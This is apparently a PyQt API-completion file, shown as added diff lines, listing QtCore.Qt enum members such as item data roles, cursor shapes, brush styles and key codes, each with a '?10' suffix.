+QtCore.Qt.ItemDataRole.BackgroundRole?10 +QtCore.Qt.ItemDataRole.BackgroundColorRole?10 +QtCore.Qt.ItemDataRole.ForegroundRole?10 +QtCore.Qt.ItemDataRole.TextColorRole?10 +QtCore.Qt.ItemDataRole.CheckStateRole?10 +QtCore.Qt.ItemDataRole.AccessibleTextRole?10 +QtCore.Qt.ItemDataRole.AccessibleDescriptionRole?10 +QtCore.Qt.ItemDataRole.SizeHintRole?10 +QtCore.Qt.ItemDataRole.InitialSortOrderRole?10 +QtCore.Qt.ItemDataRole.UserRole?10 +QtCore.Qt.CheckState?10 +QtCore.Qt.CheckState.Unchecked?10 +QtCore.Qt.CheckState.PartiallyChecked?10 +QtCore.Qt.CheckState.Checked?10 +QtCore.Qt.DropAction?10 +QtCore.Qt.DropAction.CopyAction?10 +QtCore.Qt.DropAction.MoveAction?10 +QtCore.Qt.DropAction.LinkAction?10 +QtCore.Qt.DropAction.ActionMask?10 +QtCore.Qt.DropAction.TargetMoveAction?10 +QtCore.Qt.DropAction.IgnoreAction?10 +QtCore.Qt.LayoutDirection?10 +QtCore.Qt.LayoutDirection.LeftToRight?10 +QtCore.Qt.LayoutDirection.RightToLeft?10 +QtCore.Qt.LayoutDirection.LayoutDirectionAuto?10 +QtCore.Qt.ToolButtonStyle?10 +QtCore.Qt.ToolButtonStyle.ToolButtonIconOnly?10 +QtCore.Qt.ToolButtonStyle.ToolButtonTextOnly?10 +QtCore.Qt.ToolButtonStyle.ToolButtonTextBesideIcon?10 +QtCore.Qt.ToolButtonStyle.ToolButtonTextUnderIcon?10 +QtCore.Qt.ToolButtonStyle.ToolButtonFollowStyle?10 +QtCore.Qt.InputMethodQuery?10 +QtCore.Qt.InputMethodQuery.ImMicroFocus?10 +QtCore.Qt.InputMethodQuery.ImFont?10 +QtCore.Qt.InputMethodQuery.ImCursorPosition?10 +QtCore.Qt.InputMethodQuery.ImSurroundingText?10 +QtCore.Qt.InputMethodQuery.ImCurrentSelection?10 +QtCore.Qt.InputMethodQuery.ImMaximumTextLength?10 +QtCore.Qt.InputMethodQuery.ImAnchorPosition?10 +QtCore.Qt.InputMethodQuery.ImEnabled?10 +QtCore.Qt.InputMethodQuery.ImCursorRectangle?10 +QtCore.Qt.InputMethodQuery.ImHints?10 +QtCore.Qt.InputMethodQuery.ImPreferredLanguage?10 +QtCore.Qt.InputMethodQuery.ImPlatformData?10 +QtCore.Qt.InputMethodQuery.ImQueryInput?10 +QtCore.Qt.InputMethodQuery.ImQueryAll?10 +QtCore.Qt.InputMethodQuery.ImAbsolutePosition?10 +QtCore.Qt.InputMethodQuery.ImTextBeforeCursor?10 +QtCore.Qt.InputMethodQuery.ImTextAfterCursor?10 +QtCore.Qt.InputMethodQuery.ImEnterKeyType?10 +QtCore.Qt.InputMethodQuery.ImAnchorRectangle?10 +QtCore.Qt.InputMethodQuery.ImInputItemClipRectangle?10 +QtCore.Qt.ContextMenuPolicy?10 +QtCore.Qt.ContextMenuPolicy.NoContextMenu?10 +QtCore.Qt.ContextMenuPolicy.PreventContextMenu?10 +QtCore.Qt.ContextMenuPolicy.DefaultContextMenu?10 +QtCore.Qt.ContextMenuPolicy.ActionsContextMenu?10 +QtCore.Qt.ContextMenuPolicy.CustomContextMenu?10 +QtCore.Qt.FocusReason?10 +QtCore.Qt.FocusReason.MouseFocusReason?10 +QtCore.Qt.FocusReason.TabFocusReason?10 +QtCore.Qt.FocusReason.BacktabFocusReason?10 +QtCore.Qt.FocusReason.ActiveWindowFocusReason?10 +QtCore.Qt.FocusReason.PopupFocusReason?10 +QtCore.Qt.FocusReason.ShortcutFocusReason?10 +QtCore.Qt.FocusReason.MenuBarFocusReason?10 +QtCore.Qt.FocusReason.OtherFocusReason?10 +QtCore.Qt.FocusReason.NoFocusReason?10 +QtCore.Qt.TransformationMode?10 +QtCore.Qt.TransformationMode.FastTransformation?10 +QtCore.Qt.TransformationMode.SmoothTransformation?10 +QtCore.Qt.ClipOperation?10 +QtCore.Qt.ClipOperation.NoClip?10 +QtCore.Qt.ClipOperation.ReplaceClip?10 +QtCore.Qt.ClipOperation.IntersectClip?10 +QtCore.Qt.FillRule?10 +QtCore.Qt.FillRule.OddEvenFill?10 +QtCore.Qt.FillRule.WindingFill?10 +QtCore.Qt.ShortcutContext?10 +QtCore.Qt.ShortcutContext.WidgetShortcut?10 +QtCore.Qt.ShortcutContext.WindowShortcut?10 +QtCore.Qt.ShortcutContext.ApplicationShortcut?10 +QtCore.Qt.ShortcutContext.WidgetWithChildrenShortcut?10 +QtCore.Qt.ConnectionType?10 +QtCore.Qt.ConnectionType.AutoConnection?10 +QtCore.Qt.ConnectionType.DirectConnection?10 +QtCore.Qt.ConnectionType.QueuedConnection?10 +QtCore.Qt.ConnectionType.BlockingQueuedConnection?10 +QtCore.Qt.ConnectionType.UniqueConnection?10 +QtCore.Qt.Corner?10 +QtCore.Qt.Corner.TopLeftCorner?10 +QtCore.Qt.Corner.TopRightCorner?10 +QtCore.Qt.Corner.BottomLeftCorner?10 +QtCore.Qt.Corner.BottomRightCorner?10 +QtCore.Qt.CaseSensitivity?10 +QtCore.Qt.CaseSensitivity.CaseInsensitive?10 +QtCore.Qt.CaseSensitivity.CaseSensitive?10 +QtCore.Qt.ScrollBarPolicy?10 +QtCore.Qt.ScrollBarPolicy.ScrollBarAsNeeded?10 +QtCore.Qt.ScrollBarPolicy.ScrollBarAlwaysOff?10 +QtCore.Qt.ScrollBarPolicy.ScrollBarAlwaysOn?10 +QtCore.Qt.DayOfWeek?10 +QtCore.Qt.DayOfWeek.Monday?10 +QtCore.Qt.DayOfWeek.Tuesday?10 +QtCore.Qt.DayOfWeek.Wednesday?10 +QtCore.Qt.DayOfWeek.Thursday?10 +QtCore.Qt.DayOfWeek.Friday?10 +QtCore.Qt.DayOfWeek.Saturday?10 +QtCore.Qt.DayOfWeek.Sunday?10 +QtCore.Qt.TimeSpec?10 +QtCore.Qt.TimeSpec.LocalTime?10 +QtCore.Qt.TimeSpec.UTC?10 +QtCore.Qt.TimeSpec.OffsetFromUTC?10 +QtCore.Qt.TimeSpec.TimeZone?10 +QtCore.Qt.DateFormat?10 +QtCore.Qt.DateFormat.TextDate?10 +QtCore.Qt.DateFormat.ISODate?10 +QtCore.Qt.DateFormat.ISODateWithMs?10 +QtCore.Qt.DateFormat.LocalDate?10 +QtCore.Qt.DateFormat.SystemLocaleDate?10 +QtCore.Qt.DateFormat.LocaleDate?10 +QtCore.Qt.DateFormat.SystemLocaleShortDate?10 +QtCore.Qt.DateFormat.SystemLocaleLongDate?10 +QtCore.Qt.DateFormat.DefaultLocaleShortDate?10 +QtCore.Qt.DateFormat.DefaultLocaleLongDate?10 +QtCore.Qt.DateFormat.RFC2822Date?10 +QtCore.Qt.ToolBarArea?10 +QtCore.Qt.ToolBarArea.LeftToolBarArea?10 +QtCore.Qt.ToolBarArea.RightToolBarArea?10 +QtCore.Qt.ToolBarArea.TopToolBarArea?10 +QtCore.Qt.ToolBarArea.BottomToolBarArea?10 +QtCore.Qt.ToolBarArea.ToolBarArea_Mask?10 +QtCore.Qt.ToolBarArea.AllToolBarAreas?10 +QtCore.Qt.ToolBarArea.NoToolBarArea?10 +QtCore.Qt.TimerType?10 +QtCore.Qt.TimerType.PreciseTimer?10 +QtCore.Qt.TimerType.CoarseTimer?10 +QtCore.Qt.TimerType.VeryCoarseTimer?10 +QtCore.Qt.DockWidgetArea?10 +QtCore.Qt.DockWidgetArea.LeftDockWidgetArea?10 +QtCore.Qt.DockWidgetArea.RightDockWidgetArea?10 +QtCore.Qt.DockWidgetArea.TopDockWidgetArea?10 +QtCore.Qt.DockWidgetArea.BottomDockWidgetArea?10 +QtCore.Qt.DockWidgetArea.DockWidgetArea_Mask?10 +QtCore.Qt.DockWidgetArea.AllDockWidgetAreas?10 +QtCore.Qt.DockWidgetArea.NoDockWidgetArea?10 +QtCore.Qt.AspectRatioMode?10 +QtCore.Qt.AspectRatioMode.IgnoreAspectRatio?10 +QtCore.Qt.AspectRatioMode.KeepAspectRatio?10 +QtCore.Qt.AspectRatioMode.KeepAspectRatioByExpanding?10 +QtCore.Qt.TextFormat?10 +QtCore.Qt.TextFormat.PlainText?10 +QtCore.Qt.TextFormat.RichText?10 +QtCore.Qt.TextFormat.AutoText?10 +QtCore.Qt.TextFormat.MarkdownText?10 +QtCore.Qt.CursorShape?10 +QtCore.Qt.CursorShape.ArrowCursor?10 +QtCore.Qt.CursorShape.UpArrowCursor?10 +QtCore.Qt.CursorShape.CrossCursor?10 +QtCore.Qt.CursorShape.WaitCursor?10 +QtCore.Qt.CursorShape.IBeamCursor?10 +QtCore.Qt.CursorShape.SizeVerCursor?10 +QtCore.Qt.CursorShape.SizeHorCursor?10 +QtCore.Qt.CursorShape.SizeBDiagCursor?10 +QtCore.Qt.CursorShape.SizeFDiagCursor?10 +QtCore.Qt.CursorShape.SizeAllCursor?10 +QtCore.Qt.CursorShape.BlankCursor?10 +QtCore.Qt.CursorShape.SplitVCursor?10 +QtCore.Qt.CursorShape.SplitHCursor?10 +QtCore.Qt.CursorShape.PointingHandCursor?10 +QtCore.Qt.CursorShape.ForbiddenCursor?10 +QtCore.Qt.CursorShape.OpenHandCursor?10 +QtCore.Qt.CursorShape.ClosedHandCursor?10 +QtCore.Qt.CursorShape.WhatsThisCursor?10 +QtCore.Qt.CursorShape.BusyCursor?10 +QtCore.Qt.CursorShape.LastCursor?10 +QtCore.Qt.CursorShape.BitmapCursor?10 +QtCore.Qt.CursorShape.CustomCursor?10 +QtCore.Qt.CursorShape.DragCopyCursor?10 +QtCore.Qt.CursorShape.DragMoveCursor?10 +QtCore.Qt.CursorShape.DragLinkCursor?10 +QtCore.Qt.UIEffect?10 +QtCore.Qt.UIEffect.UI_General?10 +QtCore.Qt.UIEffect.UI_AnimateMenu?10 +QtCore.Qt.UIEffect.UI_FadeMenu?10 +QtCore.Qt.UIEffect.UI_AnimateCombo?10 +QtCore.Qt.UIEffect.UI_AnimateTooltip?10 +QtCore.Qt.UIEffect.UI_FadeTooltip?10 +QtCore.Qt.UIEffect.UI_AnimateToolBox?10 +QtCore.Qt.BrushStyle?10 +QtCore.Qt.BrushStyle.NoBrush?10 +QtCore.Qt.BrushStyle.SolidPattern?10 +QtCore.Qt.BrushStyle.Dense1Pattern?10 +QtCore.Qt.BrushStyle.Dense2Pattern?10 +QtCore.Qt.BrushStyle.Dense3Pattern?10 +QtCore.Qt.BrushStyle.Dense4Pattern?10 +QtCore.Qt.BrushStyle.Dense5Pattern?10 +QtCore.Qt.BrushStyle.Dense6Pattern?10 +QtCore.Qt.BrushStyle.Dense7Pattern?10 +QtCore.Qt.BrushStyle.HorPattern?10 +QtCore.Qt.BrushStyle.VerPattern?10 +QtCore.Qt.BrushStyle.CrossPattern?10 +QtCore.Qt.BrushStyle.BDiagPattern?10 +QtCore.Qt.BrushStyle.FDiagPattern?10 +QtCore.Qt.BrushStyle.DiagCrossPattern?10 +QtCore.Qt.BrushStyle.LinearGradientPattern?10 +QtCore.Qt.BrushStyle.RadialGradientPattern?10 +QtCore.Qt.BrushStyle.ConicalGradientPattern?10 +QtCore.Qt.BrushStyle.TexturePattern?10 +QtCore.Qt.PenJoinStyle?10 +QtCore.Qt.PenJoinStyle.MiterJoin?10 +QtCore.Qt.PenJoinStyle.BevelJoin?10 +QtCore.Qt.PenJoinStyle.RoundJoin?10 +QtCore.Qt.PenJoinStyle.MPenJoinStyle?10 +QtCore.Qt.PenJoinStyle.SvgMiterJoin?10 +QtCore.Qt.PenCapStyle?10 +QtCore.Qt.PenCapStyle.FlatCap?10 +QtCore.Qt.PenCapStyle.SquareCap?10 +QtCore.Qt.PenCapStyle.RoundCap?10 +QtCore.Qt.PenCapStyle.MPenCapStyle?10 +QtCore.Qt.PenStyle?10 +QtCore.Qt.PenStyle.NoPen?10 +QtCore.Qt.PenStyle.SolidLine?10 +QtCore.Qt.PenStyle.DashLine?10 +QtCore.Qt.PenStyle.DotLine?10 +QtCore.Qt.PenStyle.DashDotLine?10 +QtCore.Qt.PenStyle.DashDotDotLine?10 +QtCore.Qt.PenStyle.CustomDashLine?10 +QtCore.Qt.PenStyle.MPenStyle?10 +QtCore.Qt.ArrowType?10 +QtCore.Qt.ArrowType.NoArrow?10 +QtCore.Qt.ArrowType.UpArrow?10 +QtCore.Qt.ArrowType.DownArrow?10 +QtCore.Qt.ArrowType.LeftArrow?10 +QtCore.Qt.ArrowType.RightArrow?10 +QtCore.Qt.Key?10 +QtCore.Qt.Key.Key_Escape?10 +QtCore.Qt.Key.Key_Tab?10 +QtCore.Qt.Key.Key_Backtab?10 +QtCore.Qt.Key.Key_Backspace?10 +QtCore.Qt.Key.Key_Return?10 +QtCore.Qt.Key.Key_Enter?10 +QtCore.Qt.Key.Key_Insert?10 +QtCore.Qt.Key.Key_Delete?10 +QtCore.Qt.Key.Key_Pause?10 +QtCore.Qt.Key.Key_Print?10 +QtCore.Qt.Key.Key_SysReq?10 +QtCore.Qt.Key.Key_Clear?10 +QtCore.Qt.Key.Key_Home?10 +QtCore.Qt.Key.Key_End?10 +QtCore.Qt.Key.Key_Left?10 +QtCore.Qt.Key.Key_Up?10 +QtCore.Qt.Key.Key_Right?10 +QtCore.Qt.Key.Key_Down?10 +QtCore.Qt.Key.Key_PageUp?10 +QtCore.Qt.Key.Key_PageDown?10 +QtCore.Qt.Key.Key_Shift?10 +QtCore.Qt.Key.Key_Control?10 +QtCore.Qt.Key.Key_Meta?10 +QtCore.Qt.Key.Key_Alt?10 +QtCore.Qt.Key.Key_CapsLock?10 +QtCore.Qt.Key.Key_NumLock?10 +QtCore.Qt.Key.Key_ScrollLock?10 +QtCore.Qt.Key.Key_F1?10 +QtCore.Qt.Key.Key_F2?10 +QtCore.Qt.Key.Key_F3?10 +QtCore.Qt.Key.Key_F4?10 +QtCore.Qt.Key.Key_F5?10 +QtCore.Qt.Key.Key_F6?10 +QtCore.Qt.Key.Key_F7?10 +QtCore.Qt.Key.Key_F8?10 +QtCore.Qt.Key.Key_F9?10 +QtCore.Qt.Key.Key_F10?10 +QtCore.Qt.Key.Key_F11?10 +QtCore.Qt.Key.Key_F12?10 +QtCore.Qt.Key.Key_F13?10 +QtCore.Qt.Key.Key_F14?10 +QtCore.Qt.Key.Key_F15?10 +QtCore.Qt.Key.Key_F16?10 +QtCore.Qt.Key.Key_F17?10 +QtCore.Qt.Key.Key_F18?10 +QtCore.Qt.Key.Key_F19?10 +QtCore.Qt.Key.Key_F20?10 +QtCore.Qt.Key.Key_F21?10 +QtCore.Qt.Key.Key_F22?10 +QtCore.Qt.Key.Key_F23?10 +QtCore.Qt.Key.Key_F24?10 +QtCore.Qt.Key.Key_F25?10 +QtCore.Qt.Key.Key_F26?10 +QtCore.Qt.Key.Key_F27?10 +QtCore.Qt.Key.Key_F28?10 +QtCore.Qt.Key.Key_F29?10 +QtCore.Qt.Key.Key_F30?10 +QtCore.Qt.Key.Key_F31?10 +QtCore.Qt.Key.Key_F32?10 +QtCore.Qt.Key.Key_F33?10 +QtCore.Qt.Key.Key_F34?10 +QtCore.Qt.Key.Key_F35?10 +QtCore.Qt.Key.Key_Super_L?10 +QtCore.Qt.Key.Key_Super_R?10 +QtCore.Qt.Key.Key_Menu?10 +QtCore.Qt.Key.Key_Hyper_L?10 +QtCore.Qt.Key.Key_Hyper_R?10 +QtCore.Qt.Key.Key_Help?10 +QtCore.Qt.Key.Key_Direction_L?10 +QtCore.Qt.Key.Key_Direction_R?10 +QtCore.Qt.Key.Key_Space?10 +QtCore.Qt.Key.Key_Any?10 +QtCore.Qt.Key.Key_Exclam?10 +QtCore.Qt.Key.Key_QuoteDbl?10 +QtCore.Qt.Key.Key_NumberSign?10 +QtCore.Qt.Key.Key_Dollar?10 +QtCore.Qt.Key.Key_Percent?10 +QtCore.Qt.Key.Key_Ampersand?10 +QtCore.Qt.Key.Key_Apostrophe?10 +QtCore.Qt.Key.Key_ParenLeft?10 +QtCore.Qt.Key.Key_ParenRight?10 +QtCore.Qt.Key.Key_Asterisk?10 +QtCore.Qt.Key.Key_Plus?10 +QtCore.Qt.Key.Key_Comma?10 +QtCore.Qt.Key.Key_Minus?10 +QtCore.Qt.Key.Key_Period?10 +QtCore.Qt.Key.Key_Slash?10 +QtCore.Qt.Key.Key_0?10 +QtCore.Qt.Key.Key_1?10 +QtCore.Qt.Key.Key_2?10 +QtCore.Qt.Key.Key_3?10 +QtCore.Qt.Key.Key_4?10 +QtCore.Qt.Key.Key_5?10 +QtCore.Qt.Key.Key_6?10 +QtCore.Qt.Key.Key_7?10 +QtCore.Qt.Key.Key_8?10 +QtCore.Qt.Key.Key_9?10 +QtCore.Qt.Key.Key_Colon?10 +QtCore.Qt.Key.Key_Semicolon?10 +QtCore.Qt.Key.Key_Less?10 +QtCore.Qt.Key.Key_Equal?10 +QtCore.Qt.Key.Key_Greater?10 +QtCore.Qt.Key.Key_Question?10 +QtCore.Qt.Key.Key_At?10 +QtCore.Qt.Key.Key_A?10 +QtCore.Qt.Key.Key_B?10 +QtCore.Qt.Key.Key_C?10 +QtCore.Qt.Key.Key_D?10 +QtCore.Qt.Key.Key_E?10 +QtCore.Qt.Key.Key_F?10 +QtCore.Qt.Key.Key_G?10 +QtCore.Qt.Key.Key_H?10 +QtCore.Qt.Key.Key_I?10 +QtCore.Qt.Key.Key_J?10 +QtCore.Qt.Key.Key_K?10 +QtCore.Qt.Key.Key_L?10 +QtCore.Qt.Key.Key_M?10 +QtCore.Qt.Key.Key_N?10 +QtCore.Qt.Key.Key_O?10 +QtCore.Qt.Key.Key_P?10 +QtCore.Qt.Key.Key_Q?10 +QtCore.Qt.Key.Key_R?10 +QtCore.Qt.Key.Key_S?10 +QtCore.Qt.Key.Key_T?10 +QtCore.Qt.Key.Key_U?10 +QtCore.Qt.Key.Key_V?10 +QtCore.Qt.Key.Key_W?10 +QtCore.Qt.Key.Key_X?10 +QtCore.Qt.Key.Key_Y?10 +QtCore.Qt.Key.Key_Z?10 +QtCore.Qt.Key.Key_BracketLeft?10 +QtCore.Qt.Key.Key_Backslash?10 +QtCore.Qt.Key.Key_BracketRight?10 +QtCore.Qt.Key.Key_AsciiCircum?10 +QtCore.Qt.Key.Key_Underscore?10 +QtCore.Qt.Key.Key_QuoteLeft?10 +QtCore.Qt.Key.Key_BraceLeft?10 +QtCore.Qt.Key.Key_Bar?10 +QtCore.Qt.Key.Key_BraceRight?10 +QtCore.Qt.Key.Key_AsciiTilde?10 +QtCore.Qt.Key.Key_nobreakspace?10 +QtCore.Qt.Key.Key_exclamdown?10 +QtCore.Qt.Key.Key_cent?10 +QtCore.Qt.Key.Key_sterling?10 +QtCore.Qt.Key.Key_currency?10 +QtCore.Qt.Key.Key_yen?10 +QtCore.Qt.Key.Key_brokenbar?10 +QtCore.Qt.Key.Key_section?10 +QtCore.Qt.Key.Key_diaeresis?10 +QtCore.Qt.Key.Key_copyright?10 +QtCore.Qt.Key.Key_ordfeminine?10 +QtCore.Qt.Key.Key_guillemotleft?10 +QtCore.Qt.Key.Key_notsign?10 +QtCore.Qt.Key.Key_hyphen?10 +QtCore.Qt.Key.Key_registered?10 +QtCore.Qt.Key.Key_macron?10 +QtCore.Qt.Key.Key_degree?10 +QtCore.Qt.Key.Key_plusminus?10 +QtCore.Qt.Key.Key_twosuperior?10 +QtCore.Qt.Key.Key_threesuperior?10 +QtCore.Qt.Key.Key_acute?10 +QtCore.Qt.Key.Key_mu?10 +QtCore.Qt.Key.Key_paragraph?10 +QtCore.Qt.Key.Key_periodcentered?10 +QtCore.Qt.Key.Key_cedilla?10 +QtCore.Qt.Key.Key_onesuperior?10 +QtCore.Qt.Key.Key_masculine?10 +QtCore.Qt.Key.Key_guillemotright?10 +QtCore.Qt.Key.Key_onequarter?10 +QtCore.Qt.Key.Key_onehalf?10 +QtCore.Qt.Key.Key_threequarters?10 +QtCore.Qt.Key.Key_questiondown?10 +QtCore.Qt.Key.Key_Agrave?10 +QtCore.Qt.Key.Key_Aacute?10 +QtCore.Qt.Key.Key_Acircumflex?10 +QtCore.Qt.Key.Key_Atilde?10 +QtCore.Qt.Key.Key_Adiaeresis?10 +QtCore.Qt.Key.Key_Aring?10 +QtCore.Qt.Key.Key_AE?10 +QtCore.Qt.Key.Key_Ccedilla?10 +QtCore.Qt.Key.Key_Egrave?10 +QtCore.Qt.Key.Key_Eacute?10 +QtCore.Qt.Key.Key_Ecircumflex?10 +QtCore.Qt.Key.Key_Ediaeresis?10 +QtCore.Qt.Key.Key_Igrave?10 +QtCore.Qt.Key.Key_Iacute?10 +QtCore.Qt.Key.Key_Icircumflex?10 +QtCore.Qt.Key.Key_Idiaeresis?10 +QtCore.Qt.Key.Key_ETH?10 +QtCore.Qt.Key.Key_Ntilde?10 +QtCore.Qt.Key.Key_Ograve?10 +QtCore.Qt.Key.Key_Oacute?10 +QtCore.Qt.Key.Key_Ocircumflex?10 +QtCore.Qt.Key.Key_Otilde?10 +QtCore.Qt.Key.Key_Odiaeresis?10 +QtCore.Qt.Key.Key_multiply?10 +QtCore.Qt.Key.Key_Ooblique?10 +QtCore.Qt.Key.Key_Ugrave?10 +QtCore.Qt.Key.Key_Uacute?10 +QtCore.Qt.Key.Key_Ucircumflex?10 +QtCore.Qt.Key.Key_Udiaeresis?10 +QtCore.Qt.Key.Key_Yacute?10 +QtCore.Qt.Key.Key_THORN?10 +QtCore.Qt.Key.Key_ssharp?10 +QtCore.Qt.Key.Key_division?10 +QtCore.Qt.Key.Key_ydiaeresis?10 +QtCore.Qt.Key.Key_AltGr?10 +QtCore.Qt.Key.Key_Multi_key?10 +QtCore.Qt.Key.Key_Codeinput?10 +QtCore.Qt.Key.Key_SingleCandidate?10 +QtCore.Qt.Key.Key_MultipleCandidate?10 +QtCore.Qt.Key.Key_PreviousCandidate?10 +QtCore.Qt.Key.Key_Mode_switch?10 +QtCore.Qt.Key.Key_Kanji?10 +QtCore.Qt.Key.Key_Muhenkan?10 +QtCore.Qt.Key.Key_Henkan?10 +QtCore.Qt.Key.Key_Romaji?10 +QtCore.Qt.Key.Key_Hiragana?10 +QtCore.Qt.Key.Key_Katakana?10 +QtCore.Qt.Key.Key_Hiragana_Katakana?10 +QtCore.Qt.Key.Key_Zenkaku?10 +QtCore.Qt.Key.Key_Hankaku?10 +QtCore.Qt.Key.Key_Zenkaku_Hankaku?10 +QtCore.Qt.Key.Key_Touroku?10 +QtCore.Qt.Key.Key_Massyo?10 +QtCore.Qt.Key.Key_Kana_Lock?10 +QtCore.Qt.Key.Key_Kana_Shift?10 +QtCore.Qt.Key.Key_Eisu_Shift?10 +QtCore.Qt.Key.Key_Eisu_toggle?10 +QtCore.Qt.Key.Key_Hangul?10 +QtCore.Qt.Key.Key_Hangul_Start?10 +QtCore.Qt.Key.Key_Hangul_End?10 +QtCore.Qt.Key.Key_Hangul_Hanja?10 +QtCore.Qt.Key.Key_Hangul_Jamo?10 +QtCore.Qt.Key.Key_Hangul_Romaja?10 +QtCore.Qt.Key.Key_Hangul_Jeonja?10 +QtCore.Qt.Key.Key_Hangul_Banja?10 +QtCore.Qt.Key.Key_Hangul_PreHanja?10 +QtCore.Qt.Key.Key_Hangul_PostHanja?10 +QtCore.Qt.Key.Key_Hangul_Special?10 +QtCore.Qt.Key.Key_Dead_Grave?10 +QtCore.Qt.Key.Key_Dead_Acute?10 +QtCore.Qt.Key.Key_Dead_Circumflex?10 +QtCore.Qt.Key.Key_Dead_Tilde?10 +QtCore.Qt.Key.Key_Dead_Macron?10 +QtCore.Qt.Key.Key_Dead_Breve?10 +QtCore.Qt.Key.Key_Dead_Abovedot?10 +QtCore.Qt.Key.Key_Dead_Diaeresis?10 +QtCore.Qt.Key.Key_Dead_Abovering?10 +QtCore.Qt.Key.Key_Dead_Doubleacute?10 +QtCore.Qt.Key.Key_Dead_Caron?10 +QtCore.Qt.Key.Key_Dead_Cedilla?10 +QtCore.Qt.Key.Key_Dead_Ogonek?10 +QtCore.Qt.Key.Key_Dead_Iota?10 +QtCore.Qt.Key.Key_Dead_Voiced_Sound?10 +QtCore.Qt.Key.Key_Dead_Semivoiced_Sound?10 +QtCore.Qt.Key.Key_Dead_Belowdot?10 +QtCore.Qt.Key.Key_Dead_Hook?10 +QtCore.Qt.Key.Key_Dead_Horn?10 +QtCore.Qt.Key.Key_Back?10 +QtCore.Qt.Key.Key_Forward?10 +QtCore.Qt.Key.Key_Stop?10 +QtCore.Qt.Key.Key_Refresh?10 +QtCore.Qt.Key.Key_VolumeDown?10 +QtCore.Qt.Key.Key_VolumeMute?10 +QtCore.Qt.Key.Key_VolumeUp?10 +QtCore.Qt.Key.Key_BassBoost?10 +QtCore.Qt.Key.Key_BassUp?10 +QtCore.Qt.Key.Key_BassDown?10 +QtCore.Qt.Key.Key_TrebleUp?10 +QtCore.Qt.Key.Key_TrebleDown?10 +QtCore.Qt.Key.Key_MediaPlay?10 +QtCore.Qt.Key.Key_MediaStop?10 +QtCore.Qt.Key.Key_MediaPrevious?10 +QtCore.Qt.Key.Key_MediaNext?10 +QtCore.Qt.Key.Key_MediaRecord?10 +QtCore.Qt.Key.Key_HomePage?10 +QtCore.Qt.Key.Key_Favorites?10 +QtCore.Qt.Key.Key_Search?10 +QtCore.Qt.Key.Key_Standby?10 +QtCore.Qt.Key.Key_OpenUrl?10 +QtCore.Qt.Key.Key_LaunchMail?10 +QtCore.Qt.Key.Key_LaunchMedia?10 +QtCore.Qt.Key.Key_Launch0?10 +QtCore.Qt.Key.Key_Launch1?10 +QtCore.Qt.Key.Key_Launch2?10 +QtCore.Qt.Key.Key_Launch3?10 +QtCore.Qt.Key.Key_Launch4?10 +QtCore.Qt.Key.Key_Launch5?10 +QtCore.Qt.Key.Key_Launch6?10 +QtCore.Qt.Key.Key_Launch7?10 +QtCore.Qt.Key.Key_Launch8?10 +QtCore.Qt.Key.Key_Launch9?10 +QtCore.Qt.Key.Key_LaunchA?10 +QtCore.Qt.Key.Key_LaunchB?10 +QtCore.Qt.Key.Key_LaunchC?10 +QtCore.Qt.Key.Key_LaunchD?10 +QtCore.Qt.Key.Key_LaunchE?10 +QtCore.Qt.Key.Key_LaunchF?10 +QtCore.Qt.Key.Key_MediaLast?10 +QtCore.Qt.Key.Key_Select?10 +QtCore.Qt.Key.Key_Yes?10 +QtCore.Qt.Key.Key_No?10 +QtCore.Qt.Key.Key_Context1?10 +QtCore.Qt.Key.Key_Context2?10 +QtCore.Qt.Key.Key_Context3?10 +QtCore.Qt.Key.Key_Context4?10 +QtCore.Qt.Key.Key_Call?10 +QtCore.Qt.Key.Key_Hangup?10 +QtCore.Qt.Key.Key_Flip?10 +QtCore.Qt.Key.Key_unknown?10 +QtCore.Qt.Key.Key_Execute?10 +QtCore.Qt.Key.Key_Printer?10 +QtCore.Qt.Key.Key_Play?10 +QtCore.Qt.Key.Key_Sleep?10 +QtCore.Qt.Key.Key_Zoom?10 +QtCore.Qt.Key.Key_Cancel?10 +QtCore.Qt.Key.Key_MonBrightnessUp?10 +QtCore.Qt.Key.Key_MonBrightnessDown?10 +QtCore.Qt.Key.Key_KeyboardLightOnOff?10 +QtCore.Qt.Key.Key_KeyboardBrightnessUp?10 +QtCore.Qt.Key.Key_KeyboardBrightnessDown?10 +QtCore.Qt.Key.Key_PowerOff?10 +QtCore.Qt.Key.Key_WakeUp?10 +QtCore.Qt.Key.Key_Eject?10 +QtCore.Qt.Key.Key_ScreenSaver?10 +QtCore.Qt.Key.Key_WWW?10 +QtCore.Qt.Key.Key_Memo?10 +QtCore.Qt.Key.Key_LightBulb?10 +QtCore.Qt.Key.Key_Shop?10 +QtCore.Qt.Key.Key_History?10 +QtCore.Qt.Key.Key_AddFavorite?10 +QtCore.Qt.Key.Key_HotLinks?10 +QtCore.Qt.Key.Key_BrightnessAdjust?10 +QtCore.Qt.Key.Key_Finance?10 +QtCore.Qt.Key.Key_Community?10 +QtCore.Qt.Key.Key_AudioRewind?10 +QtCore.Qt.Key.Key_BackForward?10 +QtCore.Qt.Key.Key_ApplicationLeft?10 +QtCore.Qt.Key.Key_ApplicationRight?10 +QtCore.Qt.Key.Key_Book?10 +QtCore.Qt.Key.Key_CD?10 +QtCore.Qt.Key.Key_Calculator?10 +QtCore.Qt.Key.Key_ToDoList?10 +QtCore.Qt.Key.Key_ClearGrab?10 +QtCore.Qt.Key.Key_Close?10 +QtCore.Qt.Key.Key_Copy?10 +QtCore.Qt.Key.Key_Cut?10 +QtCore.Qt.Key.Key_Display?10 +QtCore.Qt.Key.Key_DOS?10 +QtCore.Qt.Key.Key_Documents?10 +QtCore.Qt.Key.Key_Excel?10 +QtCore.Qt.Key.Key_Explorer?10 +QtCore.Qt.Key.Key_Game?10 +QtCore.Qt.Key.Key_Go?10 +QtCore.Qt.Key.Key_iTouch?10 +QtCore.Qt.Key.Key_LogOff?10 +QtCore.Qt.Key.Key_Market?10 +QtCore.Qt.Key.Key_Meeting?10 +QtCore.Qt.Key.Key_MenuKB?10 +QtCore.Qt.Key.Key_MenuPB?10 +QtCore.Qt.Key.Key_MySites?10 +QtCore.Qt.Key.Key_News?10 +QtCore.Qt.Key.Key_OfficeHome?10 +QtCore.Qt.Key.Key_Option?10 +QtCore.Qt.Key.Key_Paste?10 +QtCore.Qt.Key.Key_Phone?10 +QtCore.Qt.Key.Key_Calendar?10 +QtCore.Qt.Key.Key_Reply?10 +QtCore.Qt.Key.Key_Reload?10 +QtCore.Qt.Key.Key_RotateWindows?10 +QtCore.Qt.Key.Key_RotationPB?10 +QtCore.Qt.Key.Key_RotationKB?10 +QtCore.Qt.Key.Key_Save?10 +QtCore.Qt.Key.Key_Send?10 